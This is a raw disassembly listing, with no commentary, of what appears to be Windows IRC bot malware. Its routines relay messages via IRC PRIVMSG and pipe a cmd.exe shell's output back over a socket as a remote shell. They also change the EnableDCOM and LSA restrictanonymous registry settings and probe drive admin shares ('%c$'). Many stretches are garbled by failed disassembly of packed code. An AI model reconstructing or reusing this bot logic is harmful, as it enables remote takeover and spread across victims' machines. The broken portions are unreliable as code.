		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419F45
		add	esp, 18h
		test	eax, eax
		jnz	short loc_41A1FB
		push	offset unk_441B34
		jmp	short loc_41A200
; ---------------------------------------------------------------------------


loc_41A1FB:				; CODE XREF: sub_41A174+7Ej
		push	offset unk_441B10


loc_41A200:				; CODE XREF: sub_41A174+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41BF36
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_41A233
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_4099D2
		add	esp, 14h


loc_41A233:				; CODE XREF: sub_41A174+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4157A6
		push	[ebp+var_14]
		call	sub_40B32A
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0B40000h
		in	eax, 5Fh
		pop	esi
sub_41A174	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A252	proc near		; CODE XREF: .nsp0:004092F0p
					; sub_40B149+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 0B40000h
		sub	ecx, [ebx+74F685F0h]
		push	ss
		push	0
		push	esi
		call	near ptr 0B40000h
		push	cs
		test	eax, eax
		jnz	short loc_41A284
		push	esi
		xor	edi, edi
		call	dword_42706C	; CloseHandle


loc_41A284:				; CODE XREF: sub_41A252+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41A252	endp

; ---------------------------------------------------------------------------
		push	esi
		xor	esi, esi


loc_41A28C:				; CODE XREF: .nsp0:0041A2A7j
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_419F45
		add	esp, 18h
		push	dword_441954
		call	dword_427064	; Sleep
		jmp	short loc_41A28C

; =============== S U B	R O U T	I N E =======================================



sub_41A2A9	proc near		; CODE XREF: sub_41A311+7Ep
					; .nsp0:0041A4F9p
		mov	eax, dword_4E1478
		push	esi
		mov	esi, dword_42706C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A2BD
		push	eax
		call	esi ; dword_42706C


loc_41A2BD:				; CODE XREF: sub_41A2A9+Fj
		mov	eax, dword_4E1480
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A2CA
		push	eax
		call	esi ; dword_42706C


loc_41A2CA:				; CODE XREF: sub_41A2A9+1Cj
		mov	eax, dword_4E1474
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A2D7
		push	eax
		call	esi ; dword_42706C


loc_41A2D7:				; CODE XREF: sub_41A2A9+29j
		pop	esi
		retn
sub_41A2A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A2D9	proc near		; CODE XREF: .nsp0:0040901Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B890
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4E147C
		call	near ptr 0B40000h
		mov	dl, 85h
		sal	byte ptr [ebp+arg_0+1],	0E8h
		mov	eax, ds:33FFFFFFh
		ror	cl, 0C3h
		push	1
		pop	eax
		leave
		retn
sub_41A2D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A311	proc near		; CODE XREF: .nsp0:0041A46Bp
					; .nsp0:0041A4D6p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_443398
		push	[ebp+arg_4]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A354
		push	7D0h
		call	dword_427064	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41BF36
		add	esp, 10h
		jmp	short loc_41A36B
; ---------------------------------------------------------------------------


loc_41A354:				; CODE XREF: sub_41A311+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_41A36B:				; CODE XREF: sub_41A311+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D1240	; send
		test	eax, eax
		jg	short loc_41A394
		call	sub_41A2A9


loc_41A394:				; CODE XREF: sub_41A311+7Cj
		xor	eax, eax
		leave
		retn
sub_41A311	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4E1484


loc_41A3B0:				; CODE XREF: .nsp0:0041A411j
					; .nsp0:0041A473j
		push	esi
		lea	eax, [ebp-20Ch]
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp-4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp-20Ch]
		push	esi
		push	eax
		push	dword_4E1478
		call	near ptr 0B40000h
		add	dword ptr [ebp-647BF040h], 39000000h ; CODE XREF: .nsp0:0041A3E4j
		jge	short near ptr loc_41A3DA+8
		jnz	short loc_41A413
		lea	eax, [ebp-8]
		push	eax
		push	dword_4E1474
		call	near ptr 0B40000h


loc_41A3F7:				; CODE XREF: .nsp0:0041A3FDj
		add	al, [ebp-7EF28B40h]
		jge	short loc_41A3F7
		add	eax, [ecx]
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
; ---------------------------------------------------------------------------
		test	[ecx+6A000000h], ebx
		or	bh, bh
		adc	eax, offset dword_427064
		jmp	short loc_41A3B0
; ---------------------------------------------------------------------------


loc_41A413:				; CODE XREF: .nsp0:0041A3E6j
		xor	eax, eax
		cmp	[ebp-4], edi
		jbe	short loc_41A42A


loc_41A41A:				; CODE XREF: .nsp0:0041A428j
		cmp	byte ptr [ebp+eax-20Ch], 0Ah
		jz	short loc_41A478
		inc	eax
		cmp	eax, [ebp-4]
		jb	short loc_41A41A


loc_41A42A:				; CODE XREF: .nsp0:0041A418j
		mov	[ebp-4], esi


loc_41A42D:				; CODE XREF: .nsp0:0041A47Cj
		push	esi
		lea	eax, [ebp-20Ch]
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		lea	eax, [ebp-20Ch]
		push	eax
		push	dword_4E1478
		call	dword_4270E8	; ReadFile
		test	eax, eax
		jz	short loc_41A4CA
		lea	eax, [ebp-20Ch]
		push	eax
		push	ebx
		push	dword_4E14B8
		call	sub_41A311
		add	esp, 0Ch
		jmp	loc_41A3B0
; ---------------------------------------------------------------------------


loc_41A478:				; CODE XREF: .nsp0:0041A422j
		inc	eax
		mov	[ebp-4], eax
		jmp	short loc_41A42D
; ---------------------------------------------------------------------------
		dw 0E068h
		dd 5300441Bh, 14B835FFh, 82E8004Eh, 0FFFFFFFEh,	93E80875h
		dd 83FFFF0Eh, 16A10C4h,	725B5FE8h, 2E8CA00h, 68FFFFFEh
		dd 441BB8h, 0B835FF53h,	0E8004E14h, 0FFFFFE59h,	0E80875FFh
		dd 0FFFF0E6Ah, 5710C483h, 725B37E8h
		db 0, 93h
; ---------------------------------------------------------------------------


loc_41A4CA:				; CODE XREF: .nsp0:0041A45Bj
		push	offset unk_441B88
		push	ebx
		push	dword_4E14B8
		call	sub_41A311
		push	dword ptr [ebp+8]
		call	sub_40B32A
		add	esp, 10h
		push	edi
		call	near ptr 0B40000h


loc_41A4EC:				; CODE XREF: .nsp0:00403FCFp
		mov	bh, 55h
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_41A2A9
		xor	esi, esi
		lea	eax, [ebp-178h]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_4D12AC	; SearchPathA
		test	eax, eax
		jz	near ptr loc_41A5E2+5
		push	1
		lea	eax, [ebp-1Ch]
		pop	ebx
		mov	edi, dword_427100
		push	esi
		push	eax
		lea	eax, [ebp-0Ch]
		mov	dword ptr [ebp-1Ch], 0Ch
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		mov	[ebp-14h], ebx
		mov	[ebp-18h], esi
		call	edi ; dword_427100
		test	eax, eax
		jz	near ptr loc_41A5E2+5
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		call	edi ; dword_427100
		test	eax, eax
		jz	near ptr loc_41A5E2+5
		mov	edi, dword_4270FC
		push	3
		push	esi
		push	esi
		push	offset dword_4E147C
		call	edi ; dword_4270FC
		push	eax
		push	dword ptr [ebp-8]
		call	edi ; dword_4270FC
		push	eax
		call	near ptr 0B40000h
		cmpsd
		test	eax, eax
		jz	short near ptr loc_41A5E2+5
		push	10h
		lea	eax, [ebp-2Ch]
		push	esi
		push	eax
		call	sub_41BC40
		push	44h
		lea	eax, [ebp-74h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BC40
		mov	eax, [ebp-4]
		add	esp, 18h
		mov	[ebp-3Ch], eax
		mov	eax, [ebp-0Ch]
		mov	[ebp-38h], eax
		mov	[ebp-34h], eax
		lea	eax, [ebp-2Ch]
		mov	[ebp-74h], edi
		push	eax
		lea	eax, [ebp-74h]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_443398
		push	esi
		lea	eax, [ebp-178h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-48h], 101h
		mov	[ebp-44h], si
		call	near ptr 0B40000h


loc_41A5E2:				; CODE XREF: .nsp0:0041A51Cj
					; .nsp0:0041A549j ...
		pop	dword ptr [ebp-7CF78A40h]
		enter	0FFFFE9FFh, 0AEh
; ---------------------------------------------------------------------------
		dd 0FF000000h, 3D8BFC75h, 42706Ch, 458BD7FFh, 0D875FFF0h
		dd 4E1478A3h, 0F8458B00h, 4E1480A3h, 0D4458B00h, 4E1474A3h
		dd 8BD7FF00h, 75390845h, 14B8A30Ch, 574004Eh, 0EB0C75FFh
		dd 84685301h, 0E8004E14h, 1902h, 6A565959h, 1C44680Ah
		dd 0CBE80044h, 8BFFFF09h, 0DC4D8BF8h, 234FF69h,	0C4830000h
		dd 288F890Ch, 8D004441h, 5651D04Dh, 0A3986850h,	56560041h
		dd 707C15FFh, 0C63B0042h, 41348789h, 27750044h,	708C15FFh
		dd 8D500042h, 0FFFC8885h, 1C1068FFh, 0E8500044h, 18AAh
		dd 0FC88858Dh, 0E850FFFFh, 0FFFFB10Eh, 3310C483h, 5B5E5FC0h
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6A2	proc near		; DATA XREF: .nsp0:00404902o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A6E9
		call	sub_41A702
		jmp	short loc_41A6EE
; ---------------------------------------------------------------------------


loc_41A6E9:				; CODE XREF: sub_41A6A2+3Ej
		call	sub_41AA26


loc_41A6EE:				; CODE XREF: sub_41A6A2+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B32A
		pop	ecx
		push	0
		call	near ptr 0B40000h
		scasd
sub_41A6A2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A702	proc near		; CODE XREF: sub_41A6A2+40p
					; .nsp0:0041AD45p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4D12C0, edi
		jnz	loc_41A834
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4D1260	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A78D
		mov	ax, word_4409E4
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4D1214	; RegSetValueExA
		test	eax, eax
		jz	short loc_41A76F
		push	offset dword_441EE8
		jmp	short loc_41A774
; ---------------------------------------------------------------------------


loc_41A76F:				; CODE XREF: sub_41A702+64j
		push	offset dword_441EC8


loc_41A774:				; CODE XREF: sub_41A702+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D11CC	; RegCloseKey
		jmp	short loc_41A7A0
; ---------------------------------------------------------------------------


loc_41A78D:				; CODE XREF: sub_41A702+36j
		lea	eax, [ebp+var_214]
		push	offset dword_441E98
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_41A7A0:				; CODE XREF: sub_41A702+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A7BF
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41A7BF:				; CODE XREF: sub_41A702+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4157A6
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4D1260	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A82D
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4D1214	; RegSetValueExA
		test	eax, eax
		jz	short loc_41A80F
		push	offset dword_441E48
		jmp	short loc_41A814
; ---------------------------------------------------------------------------


loc_41A80F:				; CODE XREF: sub_41A702+104j
		push	offset dword_441E14


loc_41A814:				; CODE XREF: sub_41A702+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D11CC	; RegCloseKey
		jmp	short loc_41A847
; ---------------------------------------------------------------------------


loc_41A82D:				; CODE XREF: sub_41A702+E2j
		push	offset dword_441DD8
		jmp	short loc_41A839
; ---------------------------------------------------------------------------


loc_41A834:				; CODE XREF: sub_41A702+13j
		push	offset dword_441DA8


loc_41A839:				; CODE XREF: sub_41A702+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_41A847:				; CODE XREF: sub_41A702+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A866
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41A866:				; CODE XREF: sub_41A702+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4157A6
		cmp	dword_4D12E8, edi
		pop	ecx
		jnz	loc_41A9E1
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A889:				; CODE XREF: sub_41A702+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4D1134
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A926
		cmp	eax, 0EAh
		jz	short loc_41A926
		mov	esi, offset off_441C70


loc_41A8BA:				; CODE XREF: sub_41A702+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_419510
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A8D1
		push	offset dword_441D84
		jmp	short loc_41A8D6
; ---------------------------------------------------------------------------


loc_41A8D1:				; CODE XREF: sub_41A702+1C6j
		push	offset dword_441D58


loc_41A8D6:				; CODE XREF: sub_41A702+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A909
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41A909:				; CODE XREF: sub_41A702+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4157A6
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_441C90
		jl	short loc_41A8BA
		jmp	loc_41A9BE
; ---------------------------------------------------------------------------


loc_41A926:				; CODE XREF: sub_41A702+1AAj
					; sub_41A702+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A9B5


loc_41A935:				; CODE XREF: sub_41A702+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41DEE7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A9AA
		push	edi
		call	sub_4193FD
		push	eax
		push	0
		call	sub_419510
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A964
		push	offset dword_441D34
		jmp	short loc_41A969
; ---------------------------------------------------------------------------


loc_41A964:				; CODE XREF: sub_41A702+259j
		push	offset dword_441D08


loc_41A969:				; CODE XREF: sub_41A702+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A99D
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41A99D:				; CODE XREF: sub_41A702+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4157A6
		pop	ecx


loc_41A9AA:				; CODE XREF: sub_41A702+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A935
		xor	edi, edi


loc_41A9B5:				; CODE XREF: sub_41A702+22Dj
		push	[ebp+var_8]
		call	dword_4D1280


loc_41A9BE:				; CODE XREF: sub_41A702+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A889
		lea	eax, [ebp+var_214]
		push	offset dword_441CE0
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A9F4
; ---------------------------------------------------------------------------


loc_41A9E1:				; CODE XREF: sub_41A702+177j
		lea	eax, [ebp+var_214]
		push	offset dword_441CB0
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_41A9F4:				; CODE XREF: sub_41A702+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41AA12
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41AA12:				; CODE XREF: sub_41A702+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41A702	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA26	proc near		; CODE XREF: sub_41A6A2:loc_41A6E9p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4D12C0, ebx
		push	esi
		jnz	loc_41AB54
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4D1260	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41AAB1
		mov	ax, word_440A28
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4D1214	; RegSetValueExA
		test	eax, eax
		jz	short loc_41AA93
		push	offset dword_442060
		jmp	short loc_41AA98
; ---------------------------------------------------------------------------


loc_41AA93:				; CODE XREF: sub_41AA26+64j
		push	offset dword_442044


loc_41AA98:				; CODE XREF: sub_41AA26+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D11CC	; RegCloseKey
		jmp	short loc_41AAC4
; ---------------------------------------------------------------------------


loc_41AAB1:				; CODE XREF: sub_41AA26+36j
		lea	eax, [ebp+var_220]
		push	offset dword_441E98
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_41AAC4:				; CODE XREF: sub_41AA26+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41AAE3
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41AAE3:				; CODE XREF: sub_41AA26+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4157A6
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4D1260	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41AB4D
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4D1214	; RegSetValueExA
		test	eax, eax
		jz	short loc_41AB2F
		push	offset dword_442004
		jmp	short loc_41AB34
; ---------------------------------------------------------------------------


loc_41AB2F:				; CODE XREF: sub_41AA26+100j
		push	offset dword_441FCC


loc_41AB34:				; CODE XREF: sub_41AA26+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D11CC	; RegCloseKey
		jmp	short loc_41AB67
; ---------------------------------------------------------------------------


loc_41AB4D:				; CODE XREF: sub_41AA26+E2j
		push	offset dword_441F90
		jmp	short loc_41AB59
; ---------------------------------------------------------------------------


loc_41AB54:				; CODE XREF: sub_41AA26+13j
		push	offset dword_441DA8


loc_41AB59:				; CODE XREF: sub_41AA26+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_41AB67:				; CODE XREF: sub_41AA26+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41AB86
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41AB86:				; CODE XREF: sub_41AA26+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4157A6
		cmp	dword_4D12E8, ebx
		pop	ecx
		jnz	loc_41ACF8
		push	edi
		mov	esi, offset off_441C70
		mov	edi, 200h


loc_41ABAA:				; CODE XREF: sub_41AA26+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_419464
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41ABC5
		push	offset dword_441F70
		jmp	short loc_41ABCA
; ---------------------------------------------------------------------------


loc_41ABC5:				; CODE XREF: sub_41AA26+196j
		push	offset dword_441F48


loc_41ABCA:				; CODE XREF: sub_41AA26+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41ABF9
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41ABF9:				; CODE XREF: sub_41AA26+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4157A6
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_441C80
		jl	short loc_41ABAA
		call	near ptr 0B40000h
		inc	ebx
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41ACE0


loc_41AC24:				; CODE XREF: sub_41AA26+2B4j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41ACD5
		cmp	bl, 41h
		jz	loc_41ACD5
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C030
		push	esi
		push	offset aC_0	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_41C030
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4D1250	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_41ACD5
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_419464
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41AC93
		push	offset dword_441F70
		jmp	short loc_41AC98
; ---------------------------------------------------------------------------


loc_41AC93:				; CODE XREF: sub_41AA26+264j
		push	offset dword_441F48


loc_41AC98:				; CODE XREF: sub_41AA26+26Bj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41ACC8
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41ACC8:				; CODE XREF: sub_41AA26+286j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4157A6
		pop	ecx


loc_41ACD5:				; CODE XREF: sub_41AA26+206j
					; sub_41AA26+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41AC24


loc_41ACE0:				; CODE XREF: sub_41AA26+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_441F18
		push	eax
		call	sub_41BF36
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41AD0B
; ---------------------------------------------------------------------------


loc_41ACF8:				; CODE XREF: sub_41AA26+173j
		lea	eax, [ebp+var_220]
		push	offset dword_441CB0
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_41AD0B:				; CODE XREF: sub_41AA26+2D0j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41AD29
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41AD29:				; CODE XREF: sub_41AA26+2E8j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA26	endp

; ---------------------------------------------------------------------------


loc_41AD3D:				; CODE XREF: .nsp0:0041AD59j
		push	1
		push	0
		push	0
		push	0
		call	sub_41A702
		add	esp, 10h
		push	dword_441C68
		call	dword_427064	; Sleep
		jmp	short loc_41AD3D

; =============== S U B	R O U T	I N E =======================================



sub_41AD5B	proc near		; CODE XREF: sub_41AF50+CBp
					; sub_41AF50+DDp ...

arg_0		= dword	ptr  4

		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		pop	ecx
		call	sub_41BF92
		cdq
